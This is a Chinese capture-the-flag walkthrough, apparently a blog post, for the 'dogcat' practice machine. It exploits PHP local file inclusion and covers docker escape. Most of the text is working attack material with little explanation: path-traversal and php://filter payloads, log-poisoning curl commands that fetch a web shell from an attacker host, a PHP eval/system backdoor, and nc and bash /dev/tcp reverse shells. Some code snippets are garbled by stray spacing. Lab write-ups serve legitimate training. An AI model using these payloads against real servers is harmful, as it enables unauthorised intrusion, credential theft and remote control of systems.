【靶机】dogcat

简介: dogcat简介:I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.整体有一定难度,不过你将学习到很多。

dogcat
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

讲解视频https://www.bilibili.com/video/BV1WN4y1w784/

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>

 

一般的payload

http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd

passthru()
http://localhost/index.php?page = http://host.com/test.php
http://localhost/index.php?page = http://host.com/test.php? cmd = cat / etc /passwd

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd


http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
 
Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

cat/../../../../../../../var/log/apache2/access.log&ext
<?php%20eval($_POST[1]);?>
10.10.175.83
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s http://10.10.175.83

<?php system($_GET['cmd']); ?>
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s 10.10.173.156

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.56 4242 >/tmp/f

 

 

 

 

 

 

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

 

      <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

//类似于Java的三元运算符   条件一?条件二:条件三
//如果条件“expr1”成立,则执行语句“expr2”,否则执行“expr3”。
//检查是否提供了“ext”参数,如果没有,它默认将“.php”添加到我们的文件名

            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

 

payload = cat/../../../../../../../var/log/apache2/access.log&ext

bash -i >& /dev/tcp/10.10.100.225/9898 0>&1
目录
相关文章
|
1月前
|
网络协议 关系型数据库 MySQL
红日靶机(三)笔记
红日靶机(三)笔记
|
1月前
|
网络协议 JavaScript Linux
HTB-TwoMillion 靶机笔记
HTB-TwoMillion 靶机笔记
|
6月前
|
XML 存储 安全
w1r3s 靶机学习
w1r3s 靶机学习
|
安全 Shell 数据库
Vulnhub靶机DC-1渗透笔记
关于Vulnhub Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。 新手入门DC-1: 下载地址: https://www.vulnhub.com/entry/dc-1-1,292/
108 2
Vulnhub靶机DC-1渗透笔记
|
运维 安全 Shell
利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀
利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀
441 0
利用frp搭建公网Metasploit并使用Shellter实现简单木马免杀
|
存储 网络协议 网络安全
VulnHub靶机DC2渗透测试笔记
靶机下载地址: https://download.vulnhub.com/dc/DC-2.zip 靶机难度:入门 靶机描述:和DC-1 一样,有五个标志,包括最终标志。
84 0
VulnHub靶机DC2渗透测试笔记
|
安全 Shell PHP
Kira CTF靶机
Kira CTF靶机
101 0
|
安全 Windows
msfvenom生成木马之控制靶机
msfvenom生成木马之控制靶机
277 0
|
安全 Shell Linux
vulnhub靶机系列之zico2
vulnhub靶机系列之zico2
|
SQL 安全 Shell
FristiLeaks v1.3靶机渗透
FristiLeaks v1.3靶机渗透